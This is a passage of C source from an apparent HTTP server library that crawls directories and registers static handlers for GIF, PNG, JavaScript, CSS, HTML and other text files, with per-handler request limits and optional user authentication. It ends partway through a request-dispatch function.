js_path_setup_configs.posted_max_data_size_before_autofail = BP_KILOBYTE * 500; js_path_setup_configs.posted_data_chunk_read_size = BP_KILOBYTE * 2; js_path_setup_configs.posted_data_tmp_directory_literal_path = "/tmp/blockpartytmp/"; js_path_setup_configs.use_tmpfile_for_multipart_form_data = BP_TRUE; js_path_setup_configs.use_tmpfile_for_octet_stream = BP_TRUE; js_path_setup_configs.http_get_max_key_len = 100; js_path_setup_configs.http_get_max_val_len = 100; js_path_setup_configs.http_cookie_max_key_len = 200; js_path_setup_configs.http_cookie_max_val_len = 200; js_path_setup_configs.http_header_max_count = 30; js_path_setup_configs.http_header_max_key_len = 100; js_path_setup_configs.http_header_max_val_len = 200; // load all files size_t n = 0; for(; files[n]; n++) { if(bpstrlen(files[n]) >= bpstrlen(fs_reg->top_dir)) { // tmp path char * tmp_handler_path = &files[n][bpstrlen(fs_reg->top_dir)-1]; printf("\n Adding GIF request handler here?: %s ", files[n]); // add the root request handler BP_HTTPdRequestHandlerAdd ( httpd, tmp_handler_path, BP_GIFStaticRequestHandler, &js_path_setup_configs, files[n], bpstrlen(files[n]), NULL ); } } // leave the critical section BP_HASH_TABLE_LEAVE_CRITICAL_SECTION(fs_reg->hreg); // return indicating success return ERR_SUCCESS; } // static request handler for handling png BP_ERROR_T BP_HTTPdAddPNGHandlersFromFilesystemDir ( P_BP_HTTPD_SESSION httpd, char * load_dir, BP_BOOL recurse, BP_BOOL require_valid_user ) { // ensure we have a http daemon if(!httpd) return ERR_FAILURE; // ensure we have a load directory if(!load_dir) return ERR_FAILURE; // ensure load is reasonable if(!BP_StringIsReasonablePrintableString(load_dir, bpstrlen(load_dir), BP_FALSE, BP_FALSE)) return ERR_FAILURE; // ensure load dir is there if(!BP_StringIsReasonableForUnixEXT4Directory(load_dir, bpstrlen(load_dir), BP_TRUE)) return ERR_FAILURE; // %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% // %%% Attempt to open/crawl Filesystem Registry %%% // %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% // Open a handle to the registry P_BP_FSREG fs_reg = BP_FSRegOpen(load_dir, BP_TRUE, 100); if(!fs_reg) return ERR_FAILURE; // enter the critical section BP_HASH_TABLE_ENTER_CRITICAL_SECTION(fs_reg->hreg); // set file policy here BP_FSREG_POLICY_FLAG_SET file_policy_flag_set[] = { // {BP_FS_FILE_POLICY_FLAG_IGNORE_ALL, BP_TRUE}, {BP_FS_FILE_POLICY_FLAG_ONLY, BP_TRUE}, // {BP_FS_FILE_POLICY_FLAG_NOT_OWNED_BY_CURRENT_USER, BP_TRUE}, // {BP_FS_FILE_POLICY_FLAG_OWNER_HAS_HIGHER_UID_THAN_CURRENT, BP_TRUE}, // {BP_FS_FILE_POLICY_FLAG_OWNER_HAS_LOWER_UID_THAN_CURRENT, BP_TRUE}, // {BP_FS_FILE_POLICY_FLAG_OWNED_BY_CURRENT_USER, BP_TRUE}, {BP_FS_FILE_POLICY_FLAG_READABLE_BY_CURRENT_USER, BP_TRUE}, // {BP_FS_FILE_POLICY_FLAG_WRITABLE_BY_CURRENT_USER, BP_TRUE}, // {BP_FS_FILE_POLICY_FLAG_EXECUTABLE_BY_CURRENT_USER, BP_TRUE}, // {BP_FS_FILE_POLICY_FLAG_SUID, BP_TRUE}, // {BP_FS_FILE_POLICY_FLAG_SGID, BP_TRUE}, BP_FSREG_FLAG_SET_TERMINATOR }; // attempt to set flags BP_FSRegPolicySetFlags ( fs_reg, BP_FSREG_POLICY_TYPE_FILE, (P_BP_FSREG_POLICY_FLAG_SET) &file_policy_flag_set ); // add filename regexp match BP_FSRegAddPregexPolicy(fs_reg, BP_FSREG_PREG_POLICY_TYPE_FNAME_MATCH, ".*[\\.][pP][nN][gG]$"); // Crawl the filesystem for all files and fill out registry. BP_FSRegCrawl(fs_reg); // %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% // %%% Process Crawl Returns %%%%%%%%%%%%%%%%%%%%%%% // %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% // Retrieve all files as a null ptr terminated char ** of reasonable/printable strings. char ** files = BP_FSRegRetrieveEntryFullPathsAsBPCallocedNullTerminatedPointerArray(fs_reg, NULL); if(!files) { // leave critical section BP_HASH_TABLE_LEAVE_CRITICAL_SECTION_AND_RETURN_FROM_FUNC(fs_reg->hreg, ERR_FAILURE;) // destroy the filesystem registry BP_DestroyHashTableRegistry(fs_reg->hreg); return ERR_FAILURE; } // supported methods BP_FLAGS_T supported_methods = 0; // set flags BP_SET_FLAG(supported_methods, BP_HTTPD_METHOD_GET); // enable post if this requires a valid user if( require_valid_user == BP_TRUE) { BP_SET_FLAG(supported_methods, BP_HTTPD_METHOD_POST); } // setup configs BP_HTTPD_REQUEST_HANDLER_SETUP_CONFIGS js_path_setup_configs; // set configurations js_path_setup_configs.supported_http_methods = supported_methods; js_path_setup_configs.posted_max_data_size_before_autofail = BP_KILOBYTE * 500; js_path_setup_configs.posted_data_chunk_read_size = BP_KILOBYTE * 2; js_path_setup_configs.posted_data_tmp_directory_literal_path = "/tmp/blockpartytmp/"; js_path_setup_configs.use_tmpfile_for_multipart_form_data = BP_TRUE; js_path_setup_configs.use_tmpfile_for_octet_stream = BP_TRUE; js_path_setup_configs.http_get_max_key_len = 100; js_path_setup_configs.http_get_max_val_len = 100; js_path_setup_configs.http_cookie_max_key_len = 200; js_path_setup_configs.http_cookie_max_val_len = 200; js_path_setup_configs.http_header_max_count = 30; js_path_setup_configs.http_header_max_key_len = 100; js_path_setup_configs.http_header_max_val_len = 200; // load all files size_t n = 0; for(; files[n]; n++) { if(bpstrlen(files[n]) >= bpstrlen(fs_reg->top_dir)) { // tmp path char * tmp_handler_path = &files[n][bpstrlen(fs_reg->top_dir)-1]; printf("\n Adding PNG request handler here?: %s ", files[n]); if( require_valid_user == BP_FALSE) { // add the root request handler BP_HTTPdRequestHandlerAdd ( httpd, tmp_handler_path, BP_PNGStaticRequestHandler, &js_path_setup_configs, files[n], bpstrlen(files[n]), NULL ); } else if ( require_valid_user == BP_TRUE) { // add the root request handler BP_HTTPdRequestHandlerAdd ( httpd, tmp_handler_path, BP_PNGStaticRequestHandler_require_valid_user, &js_path_setup_configs, files[n], bpstrlen(files[n]), NULL ); } } } // leave the critical section BP_HASH_TABLE_LEAVE_CRITICAL_SECTION(fs_reg->hreg); // return indicating success return ERR_SUCCESS; } // This uses the blockparty filesystem registry to get a list of files which // appear to be valid javascript, and loads them into memory buffers. Once // created, the buffers are used to serve dynamic javascript based on handler // configuration. BP_ERROR_T BP_HTTPdAddJavascriptHandlersFromFilesystemDir ( P_BP_HTTPD_SESSION httpd, char * load_dir, BP_BOOL recurse, BP_BOOL require_valid_user ) { // ensure we have a http daemon if(!httpd) return ERR_FAILURE; // ensure we have a load directory if(!load_dir) return ERR_FAILURE; if(!BP_StringIsReasonablePrintableString(load_dir, bpstrlen(load_dir), BP_FALSE, BP_FALSE)) return ERR_FAILURE; // %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% // %%% Attempt to open/crawl Filesystem Registry %%% // %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% // Open a handle to the registry P_BP_FSREG fs_reg = BP_FSRegOpen(load_dir, BP_TRUE, 100); if(!fs_reg) return ERR_FAILURE; // enter the critical section BP_HASH_TABLE_ENTER_CRITICAL_SECTION(fs_reg->hreg); // set file policy here BP_FSREG_POLICY_FLAG_SET file_policy_flag_set[] = { // {BP_FS_FILE_POLICY_FLAG_IGNORE_ALL, BP_TRUE}, {BP_FS_FILE_POLICY_FLAG_ONLY, BP_TRUE}, // {BP_FS_FILE_POLICY_FLAG_NOT_OWNED_BY_CURRENT_USER, BP_TRUE}, // {BP_FS_FILE_POLICY_FLAG_OWNER_HAS_HIGHER_UID_THAN_CURRENT, BP_TRUE}, // {BP_FS_FILE_POLICY_FLAG_OWNER_HAS_LOWER_UID_THAN_CURRENT, BP_TRUE}, // {BP_FS_FILE_POLICY_FLAG_OWNED_BY_CURRENT_USER, BP_TRUE}, {BP_FS_FILE_POLICY_FLAG_READABLE_BY_CURRENT_USER, BP_TRUE}, // {BP_FS_FILE_POLICY_FLAG_WRITABLE_BY_CURRENT_USER, BP_TRUE}, // {BP_FS_FILE_POLICY_FLAG_EXECUTABLE_BY_CURRENT_USER, BP_TRUE}, // {BP_FS_FILE_POLICY_FLAG_SUID, BP_TRUE}, // {BP_FS_FILE_POLICY_FLAG_SGID, BP_TRUE}, BP_FSREG_FLAG_SET_TERMINATOR }; // attempt to set flags BP_FSRegPolicySetFlags ( fs_reg, BP_FSREG_POLICY_TYPE_FILE, (P_BP_FSREG_POLICY_FLAG_SET) &file_policy_flag_set ); // add filename regexp match BP_FSRegAddPregexPolicy(fs_reg, BP_FSREG_PREG_POLICY_TYPE_FNAME_MATCH, ".*[\\.][jJ][sS]$"); // Crawl the filesystem for all files and fill out registry. BP_FSRegCrawl(fs_reg); // %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% // %%% Process Crawl Returns %%%%%%%%%%%%%%%%%%%%%%% // %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% // Retrieve all files as a null ptr terminated char ** of reasonable/printable strings. char ** files = BP_FSRegRetrieveEntryFullPathsAsBPCallocedNullTerminatedPointerArray(fs_reg, NULL); if(!files) { // leave critical section BP_HASH_TABLE_LEAVE_CRITICAL_SECTION_AND_RETURN_FROM_FUNC(fs_reg->hreg, ERR_FAILURE;) // destroy the filesystem registry BP_DestroyHashTableRegistry(fs_reg->hreg); return ERR_FAILURE; } // supported methods BP_FLAGS_T supported_methods = 0; // set flags BP_SET_FLAG(supported_methods, BP_HTTPD_METHOD_GET); // enable post if this requires a valid user if( require_valid_user == BP_TRUE) { BP_SET_FLAG(supported_methods, BP_HTTPD_METHOD_POST); } // setup configs BP_HTTPD_REQUEST_HANDLER_SETUP_CONFIGS js_path_setup_configs; // set configurations js_path_setup_configs.supported_http_methods = supported_methods; js_path_setup_configs.posted_max_data_size_before_autofail = BP_KILOBYTE * 500; js_path_setup_configs.posted_data_chunk_read_size = BP_KILOBYTE * 2; js_path_setup_configs.posted_data_tmp_directory_literal_path = "/tmp/blockpartytmp/"; js_path_setup_configs.use_tmpfile_for_multipart_form_data = BP_TRUE; js_path_setup_configs.use_tmpfile_for_octet_stream = BP_TRUE; js_path_setup_configs.http_get_max_key_len = 100; js_path_setup_configs.http_get_max_val_len = 100; js_path_setup_configs.http_cookie_max_key_len = 200; js_path_setup_configs.http_cookie_max_val_len = 200; js_path_setup_configs.http_header_max_count = 30; js_path_setup_configs.http_header_max_key_len = 100; js_path_setup_configs.http_header_max_val_len = 200; // load all files size_t n = 0; for(; files[n]; n++) { if(bpstrlen(files[n]) >= bpstrlen(fs_reg->top_dir)) { // tmp path char * tmp_handler_path = &files[n][bpstrlen(fs_reg->top_dir)-1]; if( require_valid_user == BP_FALSE) { // add the root request handler BP_HTTPdRequestHandlerAdd ( httpd, tmp_handler_path, BP_JavascriptStaticRequestHandler, &js_path_setup_configs, files[n], bpstrlen(files[n]), NULL ); } else if ( require_valid_user == BP_TRUE) { // add the root request handler BP_HTTPdRequestHandlerAdd ( httpd, tmp_handler_path, BP_JavascriptStaticRequestHandler_require_valid_user, &js_path_setup_configs, files[n], bpstrlen(files[n]), NULL ); } } } // leave the critical section BP_HASH_TABLE_LEAVE_CRITICAL_SECTION(fs_reg->hreg); // return indicating success return ERR_SUCCESS; } // This attempts to load all css files from a directory BP_ERROR_T BP_HTTPdAddCSSHandlersFromFilesystemDir ( P_BP_HTTPD_SESSION httpd, char * load_dir, BP_BOOL recurse, BP_BOOL require_valid_user ) { // ensure we have a http daemon if(!httpd) return ERR_FAILURE; // ensure we have a load directory if(!load_dir) return ERR_FAILURE; if(!BP_StringIsReasonablePrintableString(load_dir, bpstrlen(load_dir), BP_FALSE, BP_FALSE)) return ERR_FAILURE; // %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% // %%% Attempt to open/crawl Filesystem Registry %%% // %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% // Open a handle to the registry P_BP_FSREG fs_reg = BP_FSRegOpen(load_dir, BP_TRUE, 100); if(!fs_reg) return ERR_FAILURE; // enter the critical section BP_HASH_TABLE_ENTER_CRITICAL_SECTION(fs_reg->hreg); // set file policy here BP_FSREG_POLICY_FLAG_SET file_policy_flag_set[] = { // {BP_FS_FILE_POLICY_FLAG_IGNORE_ALL, BP_TRUE}, {BP_FS_FILE_POLICY_FLAG_ONLY, BP_TRUE}, // {BP_FS_FILE_POLICY_FLAG_NOT_OWNED_BY_CURRENT_USER, BP_TRUE}, // {BP_FS_FILE_POLICY_FLAG_OWNER_HAS_HIGHER_UID_THAN_CURRENT, BP_TRUE}, // {BP_FS_FILE_POLICY_FLAG_OWNER_HAS_LOWER_UID_THAN_CURRENT, BP_TRUE}, // {BP_FS_FILE_POLICY_FLAG_OWNED_BY_CURRENT_USER, BP_TRUE}, {BP_FS_FILE_POLICY_FLAG_READABLE_BY_CURRENT_USER, BP_TRUE}, // {BP_FS_FILE_POLICY_FLAG_WRITABLE_BY_CURRENT_USER, BP_TRUE}, // {BP_FS_FILE_POLICY_FLAG_EXECUTABLE_BY_CURRENT_USER, BP_TRUE}, // {BP_FS_FILE_POLICY_FLAG_SUID, BP_TRUE}, // {BP_FS_FILE_POLICY_FLAG_SGID, BP_TRUE}, BP_FSREG_FLAG_SET_TERMINATOR }; // attempt to set flags BP_FSRegPolicySetFlags ( fs_reg, BP_FSREG_POLICY_TYPE_FILE, (P_BP_FSREG_POLICY_FLAG_SET) &file_policy_flag_set ); // add filename regexp match BP_FSRegAddPregexPolicy(fs_reg, BP_FSREG_PREG_POLICY_TYPE_FNAME_MATCH, ".*[\\.][cC][sS][sS]$"); // Crawl the filesystem for all files and fill out registry. BP_FSRegCrawl(fs_reg); // %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% // %%% Process Crawl Returns %%%%%%%%%%%%%%%%%%%%%%% // %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% // Retrieve all files as a null ptr terminated char ** of reasonable/printable strings. char ** files = BP_FSRegRetrieveEntryFullPathsAsBPCallocedNullTerminatedPointerArray(fs_reg, NULL); if(!files) { // leave critical section BP_HASH_TABLE_LEAVE_CRITICAL_SECTION_AND_RETURN_FROM_FUNC(fs_reg->hreg, ERR_FAILURE;) // destroy the filesystem registry BP_DestroyHashTableRegistry(fs_reg->hreg); return ERR_FAILURE; } // supported methods BP_FLAGS_T supported_methods = 0; // set flags BP_SET_FLAG(supported_methods, BP_HTTPD_METHOD_GET); // enable post if this requires a valid user if( require_valid_user == BP_TRUE) { BP_SET_FLAG(supported_methods, BP_HTTPD_METHOD_POST); } // setup configs BP_HTTPD_REQUEST_HANDLER_SETUP_CONFIGS js_path_setup_configs; // set configurations js_path_setup_configs.supported_http_methods = supported_methods; js_path_setup_configs.posted_max_data_size_before_autofail = BP_KILOBYTE * 500; js_path_setup_configs.posted_data_chunk_read_size = BP_KILOBYTE * 2; js_path_setup_configs.posted_data_tmp_directory_literal_path = "/tmp/blockpartytmp/"; js_path_setup_configs.use_tmpfile_for_multipart_form_data = BP_TRUE; js_path_setup_configs.use_tmpfile_for_octet_stream = BP_TRUE; js_path_setup_configs.http_get_max_key_len = 100; js_path_setup_configs.http_get_max_val_len = 100; js_path_setup_configs.http_cookie_max_key_len = 200; js_path_setup_configs.http_cookie_max_val_len = 200; js_path_setup_configs.http_header_max_count = 30; js_path_setup_configs.http_header_max_key_len = 100; js_path_setup_configs.http_header_max_val_len = 200; // load all files size_t n = 0; for(; files[n]; n++) { if(bpstrlen(files[n]) >= bpstrlen(fs_reg->top_dir)) { // tmp path char * tmp_handler_path = &files[n][bpstrlen(fs_reg->top_dir)-1]; if( require_valid_user == BP_FALSE) { // add the root request handler BP_HTTPdRequestHandlerAdd ( httpd, tmp_handler_path, BP_CSSStaticRequestHandler, &js_path_setup_configs, files[n], bpstrlen(files[n]), NULL ); } else if ( require_valid_user == BP_TRUE) { // add the root request handler BP_HTTPdRequestHandlerAdd ( httpd, tmp_handler_path, BP_CSSStaticRequestHandler_require_valid_user, &js_path_setup_configs, files[n], bpstrlen(files[n]), NULL ); } } } // leave the critical section BP_HASH_TABLE_LEAVE_CRITICAL_SECTION(fs_reg->hreg); // return indicating success return ERR_SUCCESS; } // This attempts to load all arbitrary text file types from a directory. BP_ERROR_T BP_HTTPdAddTextHandlersFromFilesystemDir ( P_BP_HTTPD_SESSION httpd, char * load_dir, BP_BOOL recurse, char * filename_pregexp, BP_BOOL require_valid_user ) { // ensure we have a http daemon if(!httpd) return ERR_FAILURE; // ensure we have a load directory if(!load_dir) return ERR_FAILURE; if(!BP_StringIsReasonablePrintableString(load_dir, bpstrlen(load_dir), BP_FALSE, BP_FALSE)) return ERR_FAILURE; if(!BP_StringIsReasonablePrintableString(filename_pregexp, bpstrlen(filename_pregexp), BP_FALSE, BP_FALSE)) return ERR_FAILURE; // %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% // %%% Attempt to open/crawl Filesystem Registry %%% // %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% // Open a handle to the registry P_BP_FSREG fs_reg = BP_FSRegOpen(load_dir, BP_TRUE, 100); if(!fs_reg) return ERR_FAILURE; // enter the critical section BP_HASH_TABLE_ENTER_CRITICAL_SECTION(fs_reg->hreg); // set file policy here BP_FSREG_POLICY_FLAG_SET file_policy_flag_set[] = { // {BP_FS_FILE_POLICY_FLAG_IGNORE_ALL, BP_TRUE}, {BP_FS_FILE_POLICY_FLAG_ONLY, BP_TRUE}, // {BP_FS_FILE_POLICY_FLAG_NOT_OWNED_BY_CURRENT_USER, BP_TRUE}, // {BP_FS_FILE_POLICY_FLAG_OWNER_HAS_HIGHER_UID_THAN_CURRENT, BP_TRUE}, // {BP_FS_FILE_POLICY_FLAG_OWNER_HAS_LOWER_UID_THAN_CURRENT, BP_TRUE}, // {BP_FS_FILE_POLICY_FLAG_OWNED_BY_CURRENT_USER, BP_TRUE}, {BP_FS_FILE_POLICY_FLAG_READABLE_BY_CURRENT_USER, BP_TRUE}, // {BP_FS_FILE_POLICY_FLAG_WRITABLE_BY_CURRENT_USER, BP_TRUE}, // {BP_FS_FILE_POLICY_FLAG_EXECUTABLE_BY_CURRENT_USER, BP_TRUE}, // {BP_FS_FILE_POLICY_FLAG_SUID, BP_TRUE}, // {BP_FS_FILE_POLICY_FLAG_SGID, BP_TRUE}, BP_FSREG_FLAG_SET_TERMINATOR }; // attempt to set flags BP_FSRegPolicySetFlags ( fs_reg, BP_FSREG_POLICY_TYPE_FILE, (P_BP_FSREG_POLICY_FLAG_SET) &file_policy_flag_set ); // add filename regexp match BP_FSRegAddPregexPolicy(fs_reg, BP_FSREG_PREG_POLICY_TYPE_FNAME_MATCH, filename_pregexp); // BP_FSRegAddPregexPolicy(fs_reg, BP_FSREG_PREG_POLICY_TYPE_FNAME_MATCH, ".*[\\.][lL][eE][sS][sS]$"); // BP_FSRegAddPregexPolicy(fs_reg, BP_FSREG_PREG_POLICY_TYPE_FNAME_MATCH, ".*"); // Crawl the filesystem for all files and fill out registry. BP_FSRegCrawl(fs_reg); // %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% // %%% Process Crawl Returns %%%%%%%%%%%%%%%%%%%%%%% // %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% // Retrieve all files as a null ptr terminated char ** of reasonable/printable strings. char ** files = BP_FSRegRetrieveEntryFullPathsAsBPCallocedNullTerminatedPointerArray(fs_reg, NULL); if(!files) { printf("\n [CUSTOM] Failed to get paths as array"); // leave critical section BP_HASH_TABLE_LEAVE_CRITICAL_SECTION_AND_RETURN_FROM_FUNC(fs_reg->hreg, ERR_FAILURE;) // destroy the filesystem registry BP_DestroyHashTableRegistry(fs_reg->hreg); // return indicating failure return ERR_FAILURE; } // supported methods BP_FLAGS_T supported_methods = 0; // set flags BP_SET_FLAG(supported_methods, BP_HTTPD_METHOD_GET); // enable post if this requires a valid user if( require_valid_user == BP_TRUE) { BP_SET_FLAG(supported_methods, BP_HTTPD_METHOD_POST); } // setup configs BP_HTTPD_REQUEST_HANDLER_SETUP_CONFIGS js_path_setup_configs; // set configurations js_path_setup_configs.supported_http_methods = supported_methods; js_path_setup_configs.posted_max_data_size_before_autofail = BP_KILOBYTE * 500; js_path_setup_configs.posted_data_chunk_read_size = BP_KILOBYTE * 2; js_path_setup_configs.posted_data_tmp_directory_literal_path = "/tmp/blockpartytmp/"; js_path_setup_configs.use_tmpfile_for_multipart_form_data = BP_TRUE; js_path_setup_configs.use_tmpfile_for_octet_stream = BP_TRUE; js_path_setup_configs.http_get_max_key_len = 100; js_path_setup_configs.http_get_max_val_len = 100; js_path_setup_configs.http_cookie_max_key_len = 200; js_path_setup_configs.http_cookie_max_val_len = 200; js_path_setup_configs.http_header_max_count = 30; js_path_setup_configs.http_header_max_key_len = 100; js_path_setup_configs.http_header_max_val_len = 200; // load all files size_t n = 0; for(; files[n]; n++) { if(bpstrlen(files[n]) >= bpstrlen(fs_reg->top_dir)) { // tmp path char * tmp_handler_path = &files[n][bpstrlen(fs_reg->top_dir)-1]; printf("\n [CUSTOM] Adding less format?: %s", tmp_handler_path); if( require_valid_user == BP_FALSE) { // add the root request handler BP_HTTPdRequestHandlerAdd ( httpd, tmp_handler_path, BP_JavascriptStaticRequestHandler, &js_path_setup_configs, files[n], bpstrlen(files[n]), NULL ); } else if ( require_valid_user == BP_TRUE) { // add the root request handler BP_HTTPdRequestHandlerAdd ( httpd, tmp_handler_path, BP_JavascriptStaticRequestHandler_require_valid_user, &js_path_setup_configs, files[n], bpstrlen(files[n]), NULL ); } } } // leave the critical section BP_HASH_TABLE_LEAVE_CRITICAL_SECTION(fs_reg->hreg); // return indicating success return ERR_SUCCESS; } // This attempts to load all html types from filesystem. BP_ERROR_T BP_HTTPdAddHtmlHandlersFromFilesystemDir ( P_BP_HTTPD_SESSION httpd, char * load_dir, BP_BOOL recurse, BP_BOOL require_valid_user ) { // ensure we have a http daemon if(!httpd) return ERR_FAILURE; // ensure we have a load directory if(!load_dir) return ERR_FAILURE; if(!BP_StringIsReasonablePrintableString(load_dir, bpstrlen(load_dir), BP_FALSE, BP_FALSE)) return ERR_FAILURE; // %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% // %%% Attempt to open/crawl Filesystem Registry %%% // %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% // Open a handle to the registry P_BP_FSREG fs_reg = BP_FSRegOpen(load_dir, BP_TRUE, 100); if(!fs_reg) return ERR_FAILURE; // enter the critical section BP_HASH_TABLE_ENTER_CRITICAL_SECTION(fs_reg->hreg); // set file policy here BP_FSREG_POLICY_FLAG_SET file_policy_flag_set[] = { // {BP_FS_FILE_POLICY_FLAG_IGNORE_ALL, BP_TRUE}, {BP_FS_FILE_POLICY_FLAG_ONLY, BP_TRUE}, // {BP_FS_FILE_POLICY_FLAG_NOT_OWNED_BY_CURRENT_USER, BP_TRUE}, // {BP_FS_FILE_POLICY_FLAG_OWNER_HAS_HIGHER_UID_THAN_CURRENT, BP_TRUE}, // {BP_FS_FILE_POLICY_FLAG_OWNER_HAS_LOWER_UID_THAN_CURRENT, BP_TRUE}, // {BP_FS_FILE_POLICY_FLAG_OWNED_BY_CURRENT_USER, BP_TRUE}, {BP_FS_FILE_POLICY_FLAG_READABLE_BY_CURRENT_USER, BP_TRUE}, // {BP_FS_FILE_POLICY_FLAG_WRITABLE_BY_CURRENT_USER, BP_TRUE}, // {BP_FS_FILE_POLICY_FLAG_EXECUTABLE_BY_CURRENT_USER, BP_TRUE}, // {BP_FS_FILE_POLICY_FLAG_SUID, BP_TRUE}, // {BP_FS_FILE_POLICY_FLAG_SGID, BP_TRUE}, BP_FSREG_FLAG_SET_TERMINATOR }; // attempt to set flags BP_FSRegPolicySetFlags ( fs_reg, BP_FSREG_POLICY_TYPE_FILE, (P_BP_FSREG_POLICY_FLAG_SET) &file_policy_flag_set ); // add filename regexp match // BP_FSRegAddPregexPolicy(fs_reg, BP_FSREG_PREG_POLICY_TYPE_FNAME_MATCH, filename_pregexp); BP_FSRegAddPregexPolicy(fs_reg, BP_FSREG_PREG_POLICY_TYPE_FNAME_MATCH, ".*[\\.][hH][tT][mM][lL]$"); // BP_FSRegAddPregexPolicy(fs_reg, BP_FSREG_PREG_POLICY_TYPE_FNAME_MATCH, ".*"); // Crawl the filesystem for all files and fill out registry. BP_FSRegCrawl(fs_reg); // %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% // %%% Process Crawl Returns %%%%%%%%%%%%%%%%%%%%%%% // %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% // Retrieve all files as a null ptr terminated char ** of reasonable/printable strings. char ** files = BP_FSRegRetrieveEntryFullPathsAsBPCallocedNullTerminatedPointerArray(fs_reg, NULL); if(!files) { printf("\n [HTML] Failed to get paths as array"); // leave critical section BP_HASH_TABLE_LEAVE_CRITICAL_SECTION_AND_RETURN_FROM_FUNC(fs_reg->hreg, ERR_FAILURE;) // destroy the filesystem registry BP_DestroyHashTableRegistry(fs_reg->hreg); // return indicating failure return ERR_FAILURE; } // supported methods BP_FLAGS_T supported_methods = 0; // set flags BP_SET_FLAG(supported_methods, BP_HTTPD_METHOD_GET); // enable post if this requires a valid user if( require_valid_user == BP_TRUE) { BP_SET_FLAG(supported_methods, BP_HTTPD_METHOD_POST); } // setup configs BP_HTTPD_REQUEST_HANDLER_SETUP_CONFIGS js_path_setup_configs; // set configurations js_path_setup_configs.supported_http_methods = supported_methods; js_path_setup_configs.posted_max_data_size_before_autofail = BP_KILOBYTE * 500; js_path_setup_configs.posted_data_chunk_read_size = BP_KILOBYTE * 2; js_path_setup_configs.posted_data_tmp_directory_literal_path = "/tmp/blockpartytmp/"; js_path_setup_configs.use_tmpfile_for_multipart_form_data = BP_TRUE; js_path_setup_configs.use_tmpfile_for_octet_stream = BP_TRUE; js_path_setup_configs.http_get_max_key_len = 100; js_path_setup_configs.http_get_max_val_len = 100; js_path_setup_configs.http_cookie_max_key_len = 200; js_path_setup_configs.http_cookie_max_val_len = 200; js_path_setup_configs.http_header_max_count = 30; js_path_setup_configs.http_header_max_key_len = 100; js_path_setup_configs.http_header_max_val_len = 200; // load all files size_t n = 0; for(; files[n]; n++) { if(bpstrlen(files[n]) >= bpstrlen(fs_reg->top_dir)) { // tmp path char * tmp_handler_path = &files[n][bpstrlen(fs_reg->top_dir)-1]; if( require_valid_user == BP_FALSE) { // add the root request handler BP_HTTPdRequestHandlerAdd ( httpd, tmp_handler_path, BP_HTMLStaticRequestHandler, &js_path_setup_configs, files[n], bpstrlen(files[n]), NULL ); } else if ( require_valid_user == BP_TRUE) { // add the root request handler BP_HTTPdRequestHandlerAdd ( httpd, tmp_handler_path, BP_HTMLStaticRequestHandler_require_valid_user, &js_path_setup_configs, files[n], bpstrlen(files[n]), NULL ); } } } // leave the critical section BP_HASH_TABLE_LEAVE_CRITICAL_SECTION(fs_reg->hreg); // return indicating success return ERR_SUCCESS; } // This method will dispatch a request handler. This should only be called from // within a MHD request access handler callback (eg: BP_HTTPdDefaultAccessHandlerCallback). BP_ERROR_T BP_HTTPdRequestHandlerDispatch ( P_BP_HTTPD_REQUEST request, char * handler, struct MHD_Connection *connection, const char * url, const char * method, const char * version, const char * upload_data, size_t * upload_data_size, void ** con_cls ) { // ensure we have a request and httpd if(!request) return ERR_FAILURE; if(!request->httpd) return ERR_FAILURE; // the httpd must have a hash registry associated with it if(!request->httpd->system_hreg) return ERR_FAILURE; // %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% // %%% Run Basic Sanity Checks %%%%%%%%%%%%%%%%%%%%%%%% // %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% // run basic checks if(!url) return ERR_FAILURE; if(!method) return ERR_FAILURE; if(!version) return ERR_FAILURE; // URL string check if(BP_StringIsReasonablePrintableString((char *) url, bpstrlen((char *) url), BP_FALSE, BP_FALSE) != BP_TRUE) { return ERR_FAILURE; } // Method string check. if(BP_StringIsReasonablePrintableString((char *) method, bpstrlen((char *) method), BP_FALSE, BP_FALSE) != BP_TRUE) { return ERR_FAILURE; } // Version string check. if(BP_StringIsReasonablePrintableString((char *) version, bpstrlen((char *) version), BP_FALSE, BP_FALSE) != BP_TRUE) { return ERR_FAILURE; } // %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% // %%% Lookup Request Handler and Dispatch %%%%%%%%%%%%% // %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% // attempt to lookup the handler in the hash table P_BP_HTTPD_REQUEST_HANDLER request_handler = BP_HTTPdRequestHandlerLookup(request->httpd, (char *) url); // ensure we have a request handler if(!request_handler) return ERR_FAILURE; // attempt to get the current method of the post BP_HTTPD_METHOD 